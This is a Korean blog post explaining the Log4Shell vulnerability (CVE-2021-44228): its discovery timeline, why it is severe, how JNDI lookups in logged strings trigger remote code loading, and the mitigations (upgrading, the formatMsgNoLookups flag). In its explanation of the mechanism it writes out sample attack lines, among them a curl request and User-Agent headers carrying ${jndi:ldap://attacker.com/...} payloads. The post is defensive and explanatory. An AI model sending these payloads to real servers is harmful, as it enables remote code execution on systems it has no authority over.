log4jshell 취약점이란 무엇인가

2022. 2. 14. 21:53IT 리뷰

반응형

안녕하십니까 IT를 공부하고 있는

항상 노력학는 긍정이입니다

이번 포스팅은

2021년 12월에 핫하게

발생한 log4jshell에 대해서

제가 나름 정리를하여

공유합니다

먼저

log4jshell이란 무엇인가?

1. Log4J 개념 : 프로그램 언어 자바 기반 로깅 유틸리티 라이브러리

 

2. Log4J의 정식 명칭 :  CVE-2021-44228

                               cve이름 해당년도 번호

                               참고 사이트 : https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=2021-44228

3. Log4J : 일명 제로데이 취약점(공격자(해커)가 먼저 발견한 취약점)

4. Log4J : Log4shell이라는 별명

5. Log4J : 이 취약점은 RCE(Remote Code Execution)으로 CVSS 10점  기록

 

그러면

그 다음으로

log4jshell의 발견경위는?

 

1. 202111월  24알리바바 클라우드 보안팀의 Chen Zhaojun 의해 최초 보고됨

 

2.  20211210PaperMC 자사 Discord 서버를 이용하여 긴급 공지를 전송

 

3. 20211210마인크래프트 기술 책임자가 본인 트위터를 통해 마인크래프트에 영향을 미치는 중요한 보안 문제가 발견되어 수정하였다라고 발표

 

  4. 20211211-  KISA에서 보안 공지를 통해 각 Log4j 버전 별로 해결할 수 있는 방법을 게시

 

그렇다면

왜 log4jshell이 사상 최악의 취약점이라고 하는지?

 

1. 자바 기반의 소프트웨어에서 많이 사용하고 있는 라이브러리

 

2. 공격 방법이 쉬움

 

3. 본인이 사용하는 소프트웨어 중에서 한 개라도 Log4J를 사용하면 해당 소프트웨어는 취약함

 

4. 오랫동안 방치된 취약점으로  피해 범위 파악이 어려움

 

log4jshell 의 동작원리란?

예를들어 로그를 남길 때 다음과 같이 남긴다고 하면

      - log.info("Request User Agent: {}", request.getHeader("X-Api-Version"));

해커가 악의적으로 HTTPHeader, X-Api-Version 값에 해커의 주소로 설정한 다음 다음과 같은 요청을 보내면 해커 위와 같은 동작원리로 인해 해커 서버로 요청을 전송하는 방식

- curl [Victim IP:PORT] -H 'X-Api-Version: ${jndi:ldap://[HACKER SERVER]}’

서버의 log4j로그를 살펴보면 다음과 같은 로그가 남아 있다.

(…WARN Error looking up JNDI resource [ldap://hacker-server]…)

  2021-12-12 07:19:17.375 WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present] 2021-12-12 07:19:34,650 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://hacker-server]. javax.naming.CommunicationException: hacker-server:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

 

log4jshell의 공격예시

1. JNDI를 이용한 공격

-JNDIJava Naming and Directory Interface의 약자로 보통 분산시스템에서 다른 리소스를 가져오는데 사용

다른 리소스의 예로 자바 클래스 등에서 공격자가 이 경로를 자신의 서버로 지정하면 취약점이 있는 서버가 공격자의 서버에서 클래스를 다운받는 것

이렇게 공격자의 서버에서 클래스를 다운받아 코드를 실행

예를들어 다음과 같은 로그 라인이 서버 어플리케이션에 존재한다고 하면

- log.info("Debug: {}", payload); 

여기서 payloadHTTP Requests에서 요청자가 보낸 문자열이다.

이 문자열이 ${jndi:ldap://attacker.com/classname}을 포함하면 Log4j는 이를 해석하여 ldap://attacker.com/classname을 실행시키게 된다. 현재 가장 쉽게 공격할 수 있는 방법은 HTTP 헤더 User-Agentldap주소를 넣어 코드를 다운받는 방법

-User-Agent : ${jndi:ldap://<host>:<port>/<path>}

User-Agent 헤더 뿐만 아니라, HTTP Request에게서 받은 문자열을 로깅하는 경우 어디서든지 지정한 문자열을 로깅하기만 하면 취약점에 노출되어 있음

 

그렇다면 log4jshell 취약점을

어떻게 대응을 하면 좋을것 인가?

 

첫 번째 대응방안

 - log4j 2.17.0 이후 버전으로 업그레이드 : KISA에서도 이 방법을 가장 먼저 제안

    

1.  자바 8 버전  Log4j 2.17.1 버전으로 업데이트

2.  자바 7 버전 Log4j 2.12.3  버전으로 업데이트

3.  자바 6 버전 Log4j 2.3.1 버전으로 업데이트

 

두 번째 대응방안

 - 신규 업데이트가 불가능한 경우

1. Java 실행 인자(Arguments) 에 시스템 속성을 추가해 메시지 lookup을 방어

     - Dlog4j2.formatMsgNoLookups=true

2. Java 실행 계정의 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정

      - /etc/environment 파일에 해당 내용을 추가

3. log4j 2.7.0  버전 이상 사용시에는 log4.xml 등의 설정에 PatternLayout 속성에 있는

     %m 부분을 %m{nolookups}로 교체

반응형